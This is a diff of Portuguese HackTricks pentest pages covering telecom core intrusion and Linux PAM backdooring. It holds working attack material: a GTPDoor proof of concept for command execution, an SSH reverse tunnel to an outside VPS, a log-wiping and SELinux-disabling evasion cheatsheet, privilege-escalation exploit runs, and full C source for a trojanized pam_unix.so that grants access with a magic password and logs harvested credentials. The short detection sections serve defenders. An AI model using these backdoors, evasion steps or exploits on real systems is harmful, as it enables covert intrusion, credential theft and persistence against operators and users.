GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Principais flags:
- `--imsi` IMSI do assinante alvo
- `--oper` Home / HNI (MCC+MNC)
- `-w` Escrever pacotes brutos em pcap
Constantes importantes dentro do binário podem ser corrigidas para ampliar as varreduras:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Execução de Código sobre GTP `GTPDoor`
`GTPDoor` é um pequeno serviço ELF que **vincula UDP 2123 e analisa cada pacote GTP-C recebido**. Quando a carga útil começa com uma tag pré-compartilhada, o restante é descriptografado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response** para que nenhuma sessão externa seja criada.
Pacote PoC mínimo (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detecção:
* qualquer host enviando **Solicitações de Eco desbalanceadas** para IPs do SGSN
* sinalizador da versão GTP definido como 1 enquanto o tipo de mensagem = 1 (Eco) desvio da especificação
## 4. Pivotando Através do Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` fornece um emulador de SGSN capaz de **estabelecer um contexto PDP em direção a um GGSN/PGW real**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do par de roaming.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Com o hair-pinning adequado do firewall, este túnel contorna VLANs apenas de sinalização e te leva diretamente ao **data plane**.
### 4.2 Túnel Reverso SSH pela Porta 53
O DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno para o seu VPS escutando na :53 e retorne mais tarde de casa:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Verifique se `GatewayPorts yes` está habilitado no VPS.
## 5. Canais Ocultos
| Canal | Transporte | Decodificação | Notas |
|-------|------------|---------------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | chave de 4 bytes + pedaços de 14 bytes (XOR) | ouvinte passivo puro, sem tráfego de saída |
| DNS `NoDepDNS` | UDP 53 | XOR (chave = `funnyAndHappy`) codificado em octetos de registro A | observa subdomínio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC em IE privado | mistura-se com conversas legítimas de GTP-C |
Todos os implantes implementam watchdogs que **timestomp** seus binários e reanimam se travarem.
## 6. Cheatsheet de Evasão de Defesa
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Escalação de Privilégios em NE Legado
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Dica de limpeza:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Ferramentas
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` ferramentas personalizadas descritas em seções anteriores.
* `FScan` : varreduras TCP de intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS WPAD malicioso
* `Microsocks` + `ProxyChains` : pivotagem leve SOCKS5
* `FRP` (≥0.37) : travessia NAT / ponte de ativos
---
## Ideias de Detecção
1. **Qualquer dispositivo diferente de um SGSN/GGSN estabelecendo Solicitações de Criação de Contexto PDP**.
2. **Portas não padrão (53, 80, 443) recebendo handshakes SSH** de IPs internos.
3. **Solicitações de Eco frequentes sem Respostas de Eco correspondentes** podem indicar sinais de GTPDoor.
4. **Alta taxa de tráfego de resposta de eco ICMP com campos de identificador/sequência grandes e não zero**.
## Referências
- [Palo Alto Unit42 Infiltração de Redes de Telecomunicações Globais](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 Protocolo de Tunelamento GPRS (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# PAM - Módulos de Autenticação Pluggable
# PAM - Pluggable Authentication Modules
{{#include ../../banners/hacktricks-training.md}}
### Informações Básicas
**PAM (Módulos de Autenticação Pluggable)** atua como um mecanismo de segurança que **verifica a identidade dos usuários que tentam acessar serviços de computador**, controlando seu acesso com base em vários critérios. É semelhante a um porteiro digital, garantindo que apenas usuários autorizados possam interagir com serviços específicos, enquanto potencialmente limita seu uso para evitar sobrecargas no sistema.
**PAM (Pluggable Authentication Modules)** atua como um mecanismo de segurança que **verifica a identidade dos usuários que tentam acessar serviços de computador**, controlando seu acesso com base em vários critérios. É semelhante a um porteiro digital, garantindo que apenas usuários autorizados possam interagir com serviços específicos, enquanto potencialmente limita seu uso para evitar sobrecargas no sistema.
#### Arquivos de Configuração
@ -29,25 +29,80 @@ session required /lib/security/pam_unix_session.so
Esses reinos, ou grupos de gerenciamento, incluem **auth**, **account**, **password** e **session**, cada um responsável por diferentes aspectos do processo de autenticação e gerenciamento de sessão:
- **Auth**: Valida a identidade do usuário, frequentemente solicitando uma senha.
- **Account**: Trata da verificação da conta, checando condições como pertencimento a grupos ou restrições de horário.
- **Account**: Trata da verificação da conta, checando condições como associação a grupos ou restrições de horário.
- **Password**: Gerencia atualizações de senha, incluindo verificações de complexidade ou prevenção contra ataques de dicionário.
- **Session**: Gerencia ações durante o início ou o fim de uma sessão de serviço, como montagem de diretórios ou definição de limites de recursos.
- **Session**: Gerencia ações durante o início ou fim de uma sessão de serviço, como montar diretórios ou definir limites de recursos.
#### **Controles de Módulo PAM**
#### **Controles do Módulo PAM**
Os controles ditam a resposta do módulo ao sucesso ou falha, influenciando o processo geral de autenticação. Estes incluem:
- **Required**: A falha de um módulo requerido resulta em falha eventual, mas somente após todos os módulos subsequentes serem verificados.
- **Requisite**: Término imediato do processo em caso de falha.
- **Sufficient**: O sucesso ignora as verificações do restante do mesmo reino, a menos que um módulo subsequente falhe.
- **Sufficient**: O sucesso ignora as demais verificações do mesmo reino, a menos que um módulo subsequente falhe.
- **Optional**: Causa falha apenas se for o único módulo na pilha.
#### Exemplo de Cenário
Em uma configuração com múltiplos módulos de auth, o processo segue uma ordem rigorosa. Se o módulo `pam_securetty` encontrar o terminal de login não autorizado, logins de root são bloqueados, mas todos os módulos ainda são processados devido ao seu status de "required". O `pam_env` define variáveis de ambiente, potencialmente ajudando na experiência do usuário. Os módulos `pam_ldap` e `pam_unix` trabalham juntos para autenticar o usuário, com `pam_unix` tentando usar uma senha fornecida anteriormente, aumentando a eficiência e flexibilidade nos métodos de autenticação.
Em uma configuração com múltiplos módulos de autenticação, o processo segue uma ordem rigorosa. Se o módulo `pam_securetty` encontrar o terminal de login não autorizado, logins de root são bloqueados, mas todos os módulos ainda são processados devido ao seu status de "required". O `pam_env` define variáveis de ambiente, potencialmente ajudando na experiência do usuário. Os módulos `pam_ldap` e `pam_unix` trabalham juntos para autenticar o usuário, com `pam_unix` tentando usar uma senha fornecida anteriormente, aumentando a eficiência e flexibilidade nos métodos de autenticação.
## Backdooring PAM Hooking `pam_unix.so`
Um truque clássico de persistência em ambientes Linux de alto valor é **trocar a biblioteca PAM legítima por um drop-in trojanizado**. Como cada login SSH / console acaba chamando `pam_unix.so:pam_sm_authenticate()`, algumas linhas de C são suficientes para capturar credenciais ou implementar um bypass de senha *mágico*.
### Compilação Cheatsheet
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
```
Compilar e substituir de forma furtiva:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
```
### Dicas de OpSec
1. **Sobrescrita atômica** escreva em um arquivo temporário e `mv` para o lugar para evitar bibliotecas meio escritas que bloqueiam o SSH.
2. Colocação de arquivos de log como `/usr/bin/.dbus.log` se mistura com artefatos de desktop legítimos.
3. Mantenha as exportações de símbolos idênticas (`pam_sm_setcred`, etc.) para evitar mau comportamento do PAM.
### Detecção
* Compare MD5/SHA256 de `pam_unix.so` com o pacote da distribuição.
* Verifique se há permissões de escrita global ou propriedade incomum em `/lib/security/`.
* Regra do `auditd`: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
### Referências
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 Infiltração de Redes de Telecomunicações Globais](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
{{#include ../../banners/hacktricks-training.md}}